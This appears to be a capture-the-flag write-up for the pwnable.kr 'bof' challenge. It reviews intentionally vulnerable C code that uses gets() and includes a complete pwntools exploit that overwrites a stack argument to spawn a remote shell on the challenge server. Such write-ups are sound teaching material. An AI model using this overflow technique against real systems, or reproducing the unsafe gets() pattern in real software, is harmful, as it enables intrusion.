bof

{"author": ["ret2basic"]}

Challenge

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?

Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

Code Review

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

The buffer overflow happens when gets() is called. The objective is to overflow the function argument key. Originally the key is 0xdeadbeef, and we want to overwrite it with 0xcafebabe.

Solution

The function argument key is at ebp + 0x8. Pictorially:

|      ...       |
|     buffer     |
|      ...       |
|    old ebp     | <- ebp
| return address | <- ebp + 4
| argument (key) | <- ebp + 8

Exploit

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host pwnable.kr --port 9000
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='i386')
exe = './path/to/binary'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'pwnable.kr'
port = int(args.PORT or 9000)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''s
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# The offset includes old ebp
offset = 48

payload = flat(
    b"A" * offset,
    # Overwrite return address
    b"B" * 4,
    # Overwrite function argument
    0xcafebabe,
)

io = start()
io.sendline(payload)
io.interactive()

Last updated